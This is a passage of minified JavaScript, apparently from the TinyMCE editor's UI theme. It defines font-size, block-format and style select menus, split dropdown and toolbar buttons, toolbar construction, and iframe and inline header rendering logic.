onAction = function (rawItem) { return function () { editor.undoManager.transact(function () { editor.focus(); editor.execCommand('FontSize', false, rawItem.format); }); }; }; var updateSelectMenuText = function (comp) { var _a = getMatchingValue(), matchOpt = _a.matchOpt, size = _a.size; var text = matchOpt.fold(constant$1(size), function (match) { return match.title; }); emitWith(comp, updateMenuText, { text: text }); }; var dataset = buildBasicSettingsDataset(editor, 'fontsize_formats', defaultFontsizeFormats, Delimiter.Space); return { tooltip: 'Font sizes', text: Optional.some('12pt'), icon: Optional.none(), isSelectedFor: isSelectedFor, getPreviewFor: getPreviewFor, getCurrentValue: getCurrentValue, onAction: onAction, updateText: updateSelectMenuText, dataset: dataset, shouldHide: false, isInvalid: never }; }; var createFontsizeSelect = function (editor, backstage) { return createSelectButton(editor, backstage, getSpec$2(editor)); }; var fontsizeSelectMenu = function (editor, backstage) { var menuItems = createMenuItems(editor, backstage, getSpec$2(editor)); editor.ui.registry.addNestedMenuItem('fontsizes', { text: 'Font sizes', getSubmenuItems: function () { return menuItems.items.validateItems(menuItems.getStyleItems()); } }); }; var findNearest = function (editor, getStyles) { var styles = getStyles(); var formats = map$2(styles, function (style) { return style.format; }); return Optional.from(editor.formatter.closest(formats)).bind(function (fmt) { return find$5(styles, function (data) { return data.format === fmt; }); }).orThunk(function () { return someIf(editor.formatter.match('p'), { title: 'Paragraph', format: 'p' }); }); }; var defaultBlocks = 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre'; var getSpec$1 = function (editor) { var fallbackFormat = 'Paragraph'; var isSelectedFor = function (format) { return function () { return editor.formatter.match(format); }; }; var getPreviewFor = function (format) { return function () { var fmt = editor.formatter.get(format); return Optional.some({ tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div', styles: editor.dom.parseStyle(editor.formatter.getCssText(format)) }); }; }; var updateSelectMenuText = function (comp) { var detectedFormat = findNearest(editor, function () { return dataset.data; }); var text = detectedFormat.fold(constant$1(fallbackFormat), function (fmt) { return fmt.title; }); emitWith(comp, updateMenuText, { text: text }); }; var dataset = buildBasicSettingsDataset(editor, 'block_formats', defaultBlocks, Delimiter.SemiColon); return { tooltip: 'Blocks', text: Optional.some(fallbackFormat), icon: Optional.none(), isSelectedFor: isSelectedFor, getCurrentValue: Optional.none, getPreviewFor: getPreviewFor, onAction: onActionToggleFormat$1(editor), updateText: updateSelectMenuText, dataset: dataset, shouldHide: false, isInvalid: function (item) { return !editor.formatter.canApply(item.format); } }; }; var createFormatSelect = function (editor, backstage) { return createSelectButton(editor, backstage, getSpec$1(editor)); }; var formatSelectMenu = function (editor, backstage) { var menuItems = createMenuItems(editor, backstage, getSpec$1(editor)); editor.ui.registry.addNestedMenuItem('blockformats', { text: 'Blocks', getSubmenuItems: function () { return menuItems.items.validateItems(menuItems.getStyleItems()); } }); }; var getSpec = function (editor, dataset) { var fallbackFormat = 'Paragraph'; var isSelectedFor = function (format) { return function () { return editor.formatter.match(format); }; }; var getPreviewFor = function (format) { return function () { var fmt = editor.formatter.get(format); return fmt !== undefined ? Optional.some({ tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div', styles: editor.dom.parseStyle(editor.formatter.getCssText(format)) }) : Optional.none(); }; }; var updateSelectMenuText = function (comp) { var getFormatItems = function (fmt) { var subs = fmt.items; return subs !== undefined && subs.length > 0 ? bind$3(subs, getFormatItems) : [{ title: fmt.title, format: fmt.format }]; }; var flattenedItems = bind$3(getStyleFormats(editor), getFormatItems); var detectedFormat = findNearest(editor, constant$1(flattenedItems)); var text = detectedFormat.fold(constant$1(fallbackFormat), function (fmt) { return fmt.title; }); emitWith(comp, updateMenuText, { text: text }); }; return { tooltip: 'Formats', text: Optional.some(fallbackFormat), icon: Optional.none(), isSelectedFor: isSelectedFor, getCurrentValue: Optional.none, getPreviewFor: getPreviewFor, onAction: onActionToggleFormat$1(editor), updateText: updateSelectMenuText, shouldHide: editor.getParam('style_formats_autohide', false, 'boolean'), isInvalid: function (item) { return !editor.formatter.canApply(item.format); }, dataset: dataset }; }; var createStyleSelect = function (editor, backstage) { var dataset = __assign({ type: 'advanced' }, backstage.styleselect); return createSelectButton(editor, backstage, getSpec(editor, dataset)); }; var styleSelectMenu = function (editor, backstage) { var dataset = __assign({ type: 'advanced' }, backstage.styleselect); var menuItems = createMenuItems(editor, backstage, getSpec(editor, dataset)); editor.ui.registry.addNestedMenuItem('formats', { text: 'Formats', getSubmenuItems: function () { return menuItems.items.validateItems(menuItems.getStyleItems()); } }); }; var events$3 = function (reflectingConfig, reflectingState) { var update = function (component, data) { reflectingConfig.updateState.each(function (updateState) { var newState = updateState(component, data); reflectingState.set(newState); }); reflectingConfig.renderComponents.each(function (renderComponents) { var newComponents = renderComponents(data, reflectingState.get()); var newChildren = map$2(newComponents, component.getSystem().build); replaceChildren(component, newChildren); }); }; return derive$2([ run$1(receive(), function (component, message) { var receivingData = message; if (!receivingData.universal) { var channel = reflectingConfig.channel; if (contains$2(receivingData.channels, channel)) { update(component, receivingData.data); } } }), runOnAttached(function (comp, _se) { reflectingConfig.initialData.each(function (rawData) { update(comp, rawData); }); }) ]); }; var ActiveReflecting = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$3 }); var getState = function (component, replaceConfig, reflectState) { return reflectState; }; var ReflectingApis = /*#__PURE__*/Object.freeze({ __proto__: null, getState: getState }); var ReflectingSchema = [ required$1('channel'), option('renderComponents'), option('updateState'), option('initialData') ]; var init$3 = function () { var cell = Cell(Optional.none()); var clear = function () { return cell.set(Optional.none()); }; var readState = function () { return cell.get().getOr('none'); }; return { readState: readState, get: cell.get, set: cell.set, clear: clear }; }; var ReflectingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$3 }); var Reflecting = create$7({ fields: ReflectingSchema, name: 'reflecting', active: ActiveReflecting, apis: ReflectingApis, state: ReflectingState }); var schema$7 = constant$1([ required$1('toggleClass'), required$1('fetch'), onStrictHandler('onExecute'), defaulted('getHotspot', Optional.some), defaulted('getAnchorOverrides', constant$1({})), schema$y(), onStrictHandler('onItemExecute'), option('lazySink'), required$1('dom'), onHandler('onOpen'), field('splitDropdownBehaviours', [ Coupling, Keying, Focusing ]), defaulted('matchWidth', false), defaulted('useMinWidth', false), defaulted('eventOrder', {}), option('role') ].concat(sandboxFields())); var arrowPart = required({ factory: Button, schema: [required$1('dom')], name: 'arrow', defaults: function () { return { buttonBehaviours: derive$1([Focusing.revoke()]) }; }, overrides: function (detail) { return { dom: { tag: 'span', attributes: { role: 'presentation' } }, action: function (arrow) { arrow.getSystem().getByUid(detail.uid).each(emitExecute); }, buttonBehaviours: derive$1([Toggling.config({ toggleOnExecute: false, toggleClass: detail.toggleClass })]) }; } }); var buttonPart = required({ factory: Button, schema: [required$1('dom')], name: 'button', defaults: function () { return { buttonBehaviours: derive$1([Focusing.revoke()]) }; }, overrides: function (detail) { return { dom: { tag: 'span', attributes: { role: 'presentation' } }, action: function (btn) { btn.getSystem().getByUid(detail.uid).each(function (splitDropdown) { detail.onExecute(splitDropdown, btn); }); } }; } }); var parts$3 = constant$1([ arrowPart, buttonPart, optional({ factory: { sketch: function (spec) { return { uid: spec.uid, dom: { tag: 'span', styles: { display: 'none' }, attributes: { 'aria-hidden': 'true' }, innerHtml: spec.text } }; } }, schema: [required$1('text')], name: 'aria-descriptor' }), external$1({ schema: [tieredMenuMarkers()], name: 'menu', defaults: function (detail) { return { onExecute: function (tmenu, item) { tmenu.getSystem().getByUid(detail.uid).each(function (splitDropdown) { detail.onItemExecute(splitDropdown, tmenu, item); }); } }; } }), partType$1() ]); var factory$5 = function (detail, components, spec, externals) { var _a; var switchToMenu = function (sandbox) { Composing.getCurrent(sandbox).each(function (current) { Highlighting.highlightFirst(current); Keying.focusIn(current); }); }; var action = function (component) { var onOpenSync = switchToMenu; togglePopup(detail, identity$1, component, externals, onOpenSync, HighlightOnOpen.HighlightFirst).get(noop); }; var openMenu = function (comp) { action(comp); return Optional.some(true); }; var executeOnButton = function (comp) { var button = getPartOrDie(comp, detail, 'button'); emitExecute(button); return Optional.some(true); }; var buttonEvents = __assign(__assign({}, derive$2([runOnAttached(function (component, _simulatedEvent) { var ariaDescriptor = getPart(component, detail, 'aria-descriptor'); ariaDescriptor.each(function (descriptor) { var descriptorId = generate$6('aria'); set$8(descriptor.element, 'id', descriptorId); set$8(component.element, 'aria-describedby', descriptorId); }); })])), events$a(Optional.some(action))); var apis = { repositionMenus: function (comp) { if (Toggling.isOn(comp)) { repositionMenus(comp); } } }; return { uid: detail.uid, dom: detail.dom, components: components, apis: apis, eventOrder: __assign(__assign({}, detail.eventOrder), (_a = {}, _a[execute$5()] = [ 'disabling', 'toggling', 'alloy.base.behaviour' ], _a)), events: buttonEvents, behaviours: augment(detail.splitDropdownBehaviours, [ Coupling.config({ others: { sandbox: function (hotspot) { var arrow = getPartOrDie(hotspot, detail, 'arrow'); var extras = { onOpen: function () { Toggling.on(arrow); Toggling.on(hotspot); }, onClose: function () { Toggling.off(arrow); Toggling.off(hotspot); } }; return makeSandbox$1(detail, hotspot, extras); } } }), Keying.config({ mode: 'special', onSpace: executeOnButton, onEnter: executeOnButton, onDown: openMenu }), Focusing.config({}), Toggling.config({ toggleOnExecute: false, aria: { mode: 'expanded' } }) ]), domModification: { attributes: { 'role': detail.role.getOr('button'), 'aria-haspopup': true } } }; }; var SplitDropdown = composite({ name: 'SplitDropdown', configFields: schema$7(), partFields: parts$3(), factory: factory$5, apis: { repositionMenus: function (apis, comp) { return apis.repositionMenus(comp); } } }); var getButtonApi = function (component) { return { isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var getToggleApi = function (component) { return { setActive: function (state) { Toggling.set(component, state); }, isActive: function () { return Toggling.isOn(component); }, isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var getTooltipAttributes = function (tooltip, providersBackstage) { return tooltip.map(function (tooltip) { return { 'aria-label': providersBackstage.translate(tooltip), 'title': providersBackstage.translate(tooltip) }; }).getOr({}); }; var focusButtonEvent = generate$6('focus-button'); var renderCommonStructure = function (icon, text, tooltip, receiver, behaviours, providersBackstage) { var _d; return { dom: { tag: 'button', classes: ['tox-tbtn'].concat(text.isSome() ? ['tox-tbtn--select'] : []), attributes: getTooltipAttributes(tooltip, providersBackstage) }, components: componentRenderPipeline([ icon.map(function (iconName) { return renderIconFromPack(iconName, providersBackstage.icons); }), text.map(function (text) { return renderLabel$1(text, 'tox-tbtn', providersBackstage); }) ]), eventOrder: (_d = {}, _d[mousedown()] = [ 'focusing', 'alloy.base.behaviour', 'common-button-display-events' ], _d), buttonBehaviours: derive$1([ DisablingConfigs.toolbarButton(providersBackstage.isDisabled), receivingConfig(), config('common-button-display-events', [run$1(mousedown(), function (button, se) { se.event.prevent(); emit(button, focusButtonEvent); })]) ].concat(receiver.map(function (r) { return Reflecting.config({ channel: r, initialData: { icon: icon, text: text }, renderComponents: function (data, _state) { return componentRenderPipeline([ data.icon.map(function (iconName) { return renderIconFromPack(iconName, providersBackstage.icons); }), data.text.map(function (text) { return renderLabel$1(text, 'tox-tbtn', providersBackstage); }) ]); } }); }).toArray()).concat(behaviours.getOr([]))) }; }; var renderFloatingToolbarButton = function (spec, backstage, identifyButtons, attributes) { var sharedBackstage = backstage.shared; return FloatingToolbarButton.sketch({ lazySink: sharedBackstage.getSink, fetch: function () { return Future.nu(function (resolve) { resolve(map$2(identifyButtons(spec.items), renderToolbarGroup)); }); }, markers: { toggledClass: 'tox-tbtn--enabled' }, parts: { button: renderCommonStructure(spec.icon, spec.text, spec.tooltip, Optional.none(), Optional.none(), sharedBackstage.providers), toolbar: { dom: { tag: 'div', classes: ['tox-toolbar__overflow'], attributes: attributes } } } }); }; var renderCommonToolbarButton = function (spec, specialisation, providersBackstage) { var editorOffCell = Cell(noop); var structure = renderCommonStructure(spec.icon, spec.text, spec.tooltip, Optional.none(), Optional.none(), providersBackstage); return Button.sketch({ dom: structure.dom, components: structure.components, eventOrder: toolbarButtonEventOrder, buttonBehaviours: derive$1([ config('toolbar-button-events', [ onToolbarButtonExecute({ onAction: spec.onAction, getApi: specialisation.getApi }), onControlAttached(specialisation, editorOffCell), onControlDetached(specialisation, editorOffCell) ]), DisablingConfigs.toolbarButton(function () { return spec.disabled || providersBackstage.isDisabled(); }), receivingConfig() ].concat(specialisation.toolbarButtonBehaviours)) }); }; var renderToolbarButton = function (spec, providersBackstage) { return renderToolbarButtonWith(spec, providersBackstage, []); }; var renderToolbarButtonWith = function (spec, providersBackstage, bonusEvents) { return renderCommonToolbarButton(spec, { toolbarButtonBehaviours: [].concat(bonusEvents.length > 0 ? [config('toolbarButtonWith', bonusEvents)] : []), getApi: getButtonApi, onSetup: spec.onSetup }, providersBackstage); }; var renderToolbarToggleButton = function (spec, providersBackstage) { return renderToolbarToggleButtonWith(spec, providersBackstage, []); }; var renderToolbarToggleButtonWith = function (spec, providersBackstage, bonusEvents) { return deepMerge(renderCommonToolbarButton(spec, { toolbarButtonBehaviours: [ Replacing.config({}), Toggling.config({ toggleClass: 'tox-tbtn--enabled', aria: { mode: 'pressed' }, toggleOnExecute: false }) ].concat(bonusEvents.length > 0 ? [config('toolbarToggleButtonWith', bonusEvents)] : []), getApi: getToggleApi, onSetup: spec.onSetup }, providersBackstage)); }; var fetchChoices = function (getApi, spec, providersBackstage) { return function (comp) { return Future.nu(function (callback) { return spec.fetch(callback); }).map(function (items) { return Optional.from(createTieredDataFrom(deepMerge(createPartialChoiceMenu(generate$6('menu-value'), items, function (value) { spec.onItemAction(getApi(comp), value); }, spec.columns, spec.presets, ItemResponse$1.CLOSE_ON_EXECUTE, spec.select.getOr(never), providersBackstage), { movement: deriveMenuMovement(spec.columns, spec.presets), menuBehaviours: SimpleBehaviours.unnamedEvents(spec.columns !== 'auto' ? [] : [runOnAttached(function (comp, _se) { detectSize(comp, 4, classForPreset(spec.presets)).each(function (_d) { var numRows = _d.numRows, numColumns = _d.numColumns; Keying.setGridSize(comp, numRows, numColumns); }); })]) }))); }); }; }; var renderSplitButton = function (spec, sharedBackstage) { var _d; var displayChannel = generate$6('channel-update-split-dropdown-display'); var getApi = function (comp) { return { isDisabled: function () { return Disabling.isDisabled(comp); }, setDisabled: function (state) { return Disabling.set(comp, state); }, setIconFill: function (id, value) { descendant(comp.element, 'svg path[id="' + id + '"], rect[id="' + id + '"]').each(function (underlinePath) { set$8(underlinePath, 'fill', value); }); }, setIconStroke: function (id, value) { descendant(comp.element, 'svg path[id="' + id + '"], rect[id="' + id + '"]').each(function (underlinePath) { set$8(underlinePath, 'stroke', value); }); }, setActive: function (state) { set$8(comp.element, 'aria-pressed', state); descendant(comp.element, 'span').each(function (button) { comp.getSystem().getByDom(button).each(function (buttonComp) { return Toggling.set(buttonComp, state); }); }); }, isActive: function () { return descendant(comp.element, 'span').exists(function (button) { return comp.getSystem().getByDom(button).exists(Toggling.isOn); }); } }; }; var editorOffCell = Cell(noop); var specialisation = { getApi: getApi, onSetup: spec.onSetup }; return SplitDropdown.sketch({ dom: { tag: 'div', classes: ['tox-split-button'], attributes: __assign({ 'aria-pressed': false }, getTooltipAttributes(spec.tooltip, sharedBackstage.providers)) }, onExecute: function (button) { spec.onAction(getApi(button)); }, onItemExecute: function (_a, _b, _c) { }, splitDropdownBehaviours: derive$1([ DisablingConfigs.splitButton(sharedBackstage.providers.isDisabled), receivingConfig(), config('split-dropdown-events', [ run$1(focusButtonEvent, Focusing.focus), onControlAttached(specialisation, editorOffCell), onControlDetached(specialisation, editorOffCell) ]), Unselecting.config({}) ]), eventOrder: (_d = {}, _d[attachedToDom()] = [ 'alloy.base.behaviour', 'split-dropdown-events' ], _d), toggleClass: 'tox-tbtn--enabled', lazySink: sharedBackstage.getSink, fetch: fetchChoices(getApi, spec, sharedBackstage.providers), parts: { menu: part(false, spec.columns, spec.presets) }, components: [ SplitDropdown.parts.button(renderCommonStructure(spec.icon, spec.text, Optional.none(), Optional.some(displayChannel), Optional.some([Toggling.config({ toggleClass: 'tox-tbtn--enabled', toggleOnExecute: false })]), sharedBackstage.providers)), SplitDropdown.parts.arrow({ dom: { tag: 'button', classes: [ 'tox-tbtn', 'tox-split-button__chevron' ], innerHtml: get$1('chevron-down', sharedBackstage.providers.icons) }, buttonBehaviours: derive$1([ DisablingConfigs.splitButton(sharedBackstage.providers.isDisabled), receivingConfig(), addFocusableBehaviour() ]) }), SplitDropdown.parts['aria-descriptor']({ text: sharedBackstage.providers.translate('To open the popup, press Shift+Enter') }) ] }); }; var defaultToolbar = [ { name: 'history', items: [ 'undo', 'redo' ] }, { name: 'styles', items: ['styleselect'] }, { name: 'formatting', items: [ 'bold', 'italic' ] }, { name: 'alignment', items: [ 'alignleft', 'aligncenter', 'alignright', 'alignjustify' ] }, { name: 'indentation', items: [ 'outdent', 'indent' ] }, { name: 'permanent pen', items: ['permanentpen'] }, { name: 'comments', items: ['addcomment'] } ]; var renderFromBridge = function (bridgeBuilder, render) { return function (spec, extras, editor) { var internal = bridgeBuilder(spec).mapError(function (errInfo) { return formatError(errInfo); }).getOrDie(); return render(internal, extras, editor); }; }; var types = { button: renderFromBridge(createToolbarButton, function (s, extras) { return renderToolbarButton(s, extras.backstage.shared.providers); }), togglebutton: renderFromBridge(createToggleButton, function (s, extras) { return renderToolbarToggleButton(s, extras.backstage.shared.providers); }), menubutton: renderFromBridge(createMenuButton, function (s, extras) { return renderMenuButton(s, 'tox-tbtn', extras.backstage, Optional.none()); }), splitbutton: renderFromBridge(createSplitButton, function (s, extras) { return renderSplitButton(s, extras.backstage.shared); }), grouptoolbarbutton: renderFromBridge(createGroupToolbarButton, function (s, extras, editor) { var _a; var buttons = editor.ui.registry.getAll().buttons; var identify = function (toolbar) { return identifyButtons(editor, { buttons: buttons, toolbar: toolbar, allowToolbarGroups: false }, extras, Optional.none()); }; var attributes = (_a = {}, _a[Attribute] = extras.backstage.shared.header.isPositionedAtTop() ? AttributeValue.TopToBottom : AttributeValue.BottomToTop, _a); switch (getToolbarMode(editor)) { case ToolbarMode.floating: return renderFloatingToolbarButton(s, extras.backstage, identify, attributes); default: throw new Error('Toolbar groups are only supported when using floating toolbar mode'); } }), styleSelectButton: function (editor, extras) { return createStyleSelect(editor, extras.backstage); }, fontsizeSelectButton: function (editor, extras) { return createFontsizeSelect(editor, extras.backstage); }, fontSelectButton: function (editor, extras) { return createFontSelect(editor, extras.backstage); }, formatButton: function (editor, extras) { return createFormatSelect(editor, extras.backstage); }, alignMenuButton: function (editor, extras) { return createAlignSelect(editor, extras.backstage); } }; var extractFrom = function (spec, extras, editor) { return get$e(types, spec.type).fold(function () { console.error('skipping button defined by', spec); return Optional.none(); }, function (render) { return Optional.some(render(spec, extras, editor)); }); }; var bespokeButtons = { styleselect: types.styleSelectButton, fontsizeselect: types.fontsizeSelectButton, fontselect: types.fontSelectButton, formatselect: types.formatButton, align: types.alignMenuButton }; var removeUnusedDefaults = function (buttons) { var filteredItemGroups = map$2(defaultToolbar, function (group) { var items = filter$2(group.items, function (subItem) { return has$2(buttons, subItem) || has$2(bespokeButtons, subItem); }); return { name: group.name, items: items }; }); return filter$2(filteredItemGroups, function (group) { return group.items.length > 0; }); }; var convertStringToolbar = function (strToolbar) { var groupsStrings = strToolbar.split('|'); return map$2(groupsStrings, function (g) { return { items: g.trim().split(' ') }; }); }; var isToolbarGroupSettingArray = function (toolbar) { return isArrayOf(toolbar, function (t) { return has$2(t, 'name') && has$2(t, 'items'); }); }; var createToolbar = function (toolbarConfig) { var toolbar = toolbarConfig.toolbar; var buttons = toolbarConfig.buttons; if (toolbar === false) { return []; } else if (toolbar === undefined || toolbar === true) { return removeUnusedDefaults(buttons); } else if (isString(toolbar)) { return convertStringToolbar(toolbar); } else if (isToolbarGroupSettingArray(toolbar)) { return toolbar; } else { console.error('Toolbar type should be string, string[], boolean or ToolbarGroup[]'); return []; } }; var lookupButton = function (editor, buttons, toolbarItem, allowToolbarGroups, extras, prefixes) { return get$e(buttons, toolbarItem.toLowerCase()).orThunk(function () { return prefixes.bind(function (ps) { return findMap(ps, function (prefix) { return get$e(buttons, prefix + toolbarItem.toLowerCase()); }); }); }).fold(function () { return get$e(bespokeButtons, toolbarItem.toLowerCase()).map(function (r) { return r(editor, extras); }).orThunk(function () { return Optional.none(); }); }, function (spec) { if (spec.type === 'grouptoolbarbutton' && !allowToolbarGroups) { console.warn('Ignoring the \'' + toolbarItem + '\' toolbar button. Group toolbar buttons are only supported when using floating toolbar mode and cannot be nested.'); return Optional.none(); } else { return extractFrom(spec, extras, editor); } }); }; var identifyButtons = function (editor, toolbarConfig, extras, prefixes) { var toolbarGroups = createToolbar(toolbarConfig); var groups = map$2(toolbarGroups, function (group) { var items = bind$3(group.items, function (toolbarItem) { return toolbarItem.trim().length === 0 ? [] : lookupButton(editor, toolbarConfig.buttons, toolbarItem, toolbarConfig.allowToolbarGroups, extras, prefixes).toArray(); }); return { title: Optional.from(editor.translate(group.name)), items: items }; }); return filter$2(groups, function (group) { return group.items.length > 0; }); }; var setToolbar = function (editor, uiComponents, rawUiConfig, backstage) { var comp = uiComponents.outerContainer; var toolbarConfig = rawUiConfig.toolbar; var toolbarButtonsConfig = rawUiConfig.buttons; if (isArrayOf(toolbarConfig, isString)) { var toolbars = toolbarConfig.map(function (t) { var config = { toolbar: t, buttons: toolbarButtonsConfig, allowToolbarGroups: rawUiConfig.allowToolbarGroups }; return identifyButtons(editor, config, { backstage: backstage }, Optional.none()); }); OuterContainer.setToolbars(comp, toolbars); } else { OuterContainer.setToolbar(comp, identifyButtons(editor, rawUiConfig, { backstage: backstage }, Optional.none())); } }; var detection = detect$1(); var isiOS12 = detection.os.isiOS() && detection.os.version.major <= 12; var setupEvents$1 = function (editor, uiComponents) { var dom = editor.dom; var contentWindow = editor.getWin(); var initialDocEle = editor.getDoc().documentElement; var lastWindowDimensions = Cell(SugarPosition(contentWindow.innerWidth, contentWindow.innerHeight)); var lastDocumentDimensions = Cell(SugarPosition(initialDocEle.offsetWidth, initialDocEle.offsetHeight)); var resizeWindow = function () { var outer = lastWindowDimensions.get(); if (outer.left !== contentWindow.innerWidth || outer.top !== contentWindow.innerHeight) { lastWindowDimensions.set(SugarPosition(contentWindow.innerWidth, contentWindow.innerHeight)); fireResizeContent(editor); } }; var resizeDocument = function () { var docEle = editor.getDoc().documentElement; var inner = lastDocumentDimensions.get(); if (inner.left !== docEle.offsetWidth || inner.top !== docEle.offsetHeight) { lastDocumentDimensions.set(SugarPosition(docEle.offsetWidth, docEle.offsetHeight)); fireResizeContent(editor); } }; var scroll = function (e) { return fireScrollContent(editor, e); }; dom.bind(contentWindow, 'resize', resizeWindow); dom.bind(contentWindow, 'scroll', scroll); var elementLoad = capture(SugarElement.fromDom(editor.getBody()), 'load', resizeDocument); var mothership = uiComponents.uiMothership.element; editor.on('hide', function () { set$7(mothership, 'display', 'none'); }); editor.on('show', function () { remove$6(mothership, 'display'); }); editor.on('NodeChange', resizeDocument); editor.on('remove', function () { elementLoad.unbind(); dom.unbind(contentWindow, 'resize', resizeWindow); dom.unbind(contentWindow, 'scroll', scroll); contentWindow = null; }); }; var render$1 = function (editor, uiComponents, rawUiConfig, backstage, args) { var lastToolbarWidth = Cell(0); var outerContainer = uiComponents.outerContainer; iframe(editor); var eTargetNode = SugarElement.fromDom(args.targetNode); var uiRoot = getContentContainer(getRootNode(eTargetNode)); attachSystemAfter(eTargetNode, uiComponents.mothership); attachSystem(uiRoot, uiComponents.uiMothership); editor.on('PostRender', function () { setToolbar(editor, uiComponents, rawUiConfig, backstage); lastToolbarWidth.set(editor.getWin().innerWidth); OuterContainer.setMenubar(outerContainer, identifyMenus(editor, rawUiConfig)); OuterContainer.setSidebar(outerContainer, rawUiConfig.sidebar); setupEvents$1(editor, uiComponents); }); var socket = OuterContainer.getSocket(outerContainer).getOrDie('Could not find expected socket element'); if (isiOS12) { setAll(socket.element, { 'overflow': 'scroll', '-webkit-overflow-scrolling': 'touch' }); var limit = first(function () { editor.fire('ScrollContent'); }, 20); var unbinder = bind(socket.element, 'scroll', limit.throttle); editor.on('remove', unbinder.unbind); } setupReadonlyModeSwitch(editor, uiComponents); editor.addCommand('ToggleSidebar', function (_ui, value) { OuterContainer.toggleSidebar(outerContainer, value); editor.fire('ToggleSidebar'); }); editor.addQueryValueHandler('ToggleSidebar', function () { return OuterContainer.whichSidebar(outerContainer); }); var toolbarMode = getToolbarMode(editor); var refreshDrawer = function () { OuterContainer.refreshToolbar(uiComponents.outerContainer); }; if (toolbarMode === ToolbarMode.sliding || toolbarMode === ToolbarMode.floating) { editor.on('ResizeWindow ResizeEditor ResizeContent', function () { var width = editor.getWin().innerWidth; if (width !== lastToolbarWidth.get()) { refreshDrawer(); lastToolbarWidth.set(width); } }); } var api = { enable: function () { broadcastReadonly(uiComponents, false); }, disable: function () { broadcastReadonly(uiComponents, true); }, isDisabled: function () { return Disabling.isDisabled(outerContainer); } }; return { iframeContainer: socket.element.dom, editorContainer: outerContainer.element.dom, api: api }; }; var Iframe = /*#__PURE__*/Object.freeze({ __proto__: null, render: render$1 }); var parseToInt = function (val) { var re = /^[0-9\.]+(|px)$/i; if (re.test('' + val)) { return Optional.some(parseInt('' + val, 10)); } return Optional.none(); }; var numToPx = function (val) { return isNumber(val) ? val + 'px' : val; }; var calcCappedSize = function (size, minSize, maxSize) { var minOverride = minSize.filter(function (min) { return size < min; }); var maxOverride = maxSize.filter(function (max) { return size > max; }); return minOverride.or(maxOverride).getOr(size); }; var getHeight = function (editor) { var baseHeight = getHeightSetting(editor); var minHeight = getMinHeightSetting(editor); var maxHeight = getMaxHeightSetting(editor); return parseToInt(baseHeight).map(function (height) { return calcCappedSize(height, minHeight, maxHeight); }); }; var getHeightWithFallback = function (editor) { var height = getHeight(editor); return height.getOr(getHeightSetting(editor)); }; var getWidth = function (editor) { var baseWidth = getWidthSetting(editor); var minWidth = getMinWidthSetting(editor); var maxWidth = getMaxWidthSetting(editor); return parseToInt(baseWidth).map(function (width) { return calcCappedSize(width, minWidth, maxWidth); }); }; var getWidthWithFallback = function (editor) { var width = getWidth(editor); return width.getOr(getWidthSetting(editor)); }; var InlineHeader = function (editor, targetElm, uiComponents, backstage, floatContainer) { var uiMothership = uiComponents.uiMothership, outerContainer = uiComponents.outerContainer; var DOM = global$b.DOM; var useFixedToolbarContainer = useFixedContainer(editor); var isSticky = isStickyToolbar(editor); var editorMaxWidthOpt = getMaxWidthSetting(editor).or(getWidth(editor)); var headerBackstage = backstage.shared.header; var isPositionedAtTop = headerBackstage.isPositionedAtTop; var toolbarMode = getToolbarMode(editor); var isSplitToolbar = toolbarMode === ToolbarMode.sliding || toolbarMode === ToolbarMode.floating; var visible = Cell(false); var isVisible = function () { return visible.get() && !editor.removed; }; var calcToolbarOffset = function (toolbar) { return isSplitToolbar ? toolbar.fold(constant$1(0), function (tbar) { return tbar.components().length > 1 ? get$b(tbar.components()[1].element) : 0; }) : 0; }; var calcMode = function (container) { switch (getToolbarLocation(editor)) { case ToolbarLocation.auto: var toolbar_1 = OuterContainer.getToolbar(outerContainer); var offset = calcToolbarOffset(toolbar_1); var toolbarHeight = get$b(container.element) - offset; var targetBounds = box$1(targetElm); var roomAtTop = targetBounds.y > toolbarHeight; if (roomAtTop) { return 'top'; } else { var doc = documentElement(targetElm); var docHeight = Math.max(doc.dom.scrollHeight, get$b(doc)); var roomAtBottom = targetBounds.bottom < docHeight - toolbarHeight; if (roomAtBottom) { return 'bottom'; } else { var winBounds = win(); var isRoomAtBottomViewport = winBounds.bottom < targetBounds.bottom - toolbarHeight; return isRoomAtBottomViewport ? 'bottom' : 'top'; } } case ToolbarLocation.bottom: return 'bottom'; case ToolbarLocation.top: default: return 'top'; } }; var setupMode = function (mode) { var container = floatContainer.get(); Docking.setModes(container, [mode]); headerBackstage.setDockingMode(mode); var verticalDir = isPositionedAtTop() ? AttributeValue.TopToBottom : AttributeValue.BottomToTop; set$8(container.element, Attribute, verticalDir); }; var updateChromeWidth = function () { var maxWidth = editorMaxWidthOpt.getOrThunk(function () { var bodyMargin = parseToInt(get$c(body(), 'margin-left')).getOr(0); return get$a(body()) - absolute$3(targetElm).left + bodyMargin; }); set$7(floatContainer.get().element, 'max-width', maxWidth + 'px'); }; var updateChromePosition = function () { var toolbar = OuterContainer.getToolbar(outerContainer); var offset = calcToolbarOffset(toolbar); var targetBounds = box$1(targetElm); var top = isPositionedAtTop() ? Math.max(targetBounds.y - get$b(floatContainer.get().element) + offset, 0) : targetBounds.bottom; setAll(outerContainer.element, { position: 'absolute', top: Math.round(top) + 'px', left: Math.round(targetBounds.x) + 'px' }); }; var repositionPopups$1 = function () { uiMothership.broadcastOn([repositionPopups()], {}); }; var updateChromeUi = function (resetDocking) { if (resetDocking === void 0) { resetDocking = false; } if (!isVisible()) { return; } if (!useFixedToolbarContainer) { updateChromeWidth(); } if (isSplitToolbar) { OuterContainer.refreshToolbar(outerContainer); } if (!useFixedToolbarContainer) { updateChromePosition(); } if (isSticky) { var floatContainerComp = floatContainer.get(); resetDocking ? Docking.reset(floatContainerComp) : Docking.refresh(floatContainerComp); } repositionPopups$1(); }; var updateMode = function (updateUi) { if (updateUi === void 0) { updateUi = true; } if (useFixedToolbarContainer || !isSticky || !isVisible()) { return; } var currentMode = headerBackstage.getDockingMode(); var newMode = calcMode(floatContainer.get()); if (newMode !== currentMode) { setupMode(newMode); if (updateUi) { updateChromeUi(true); } } }; var show = function () { visible.set(true); 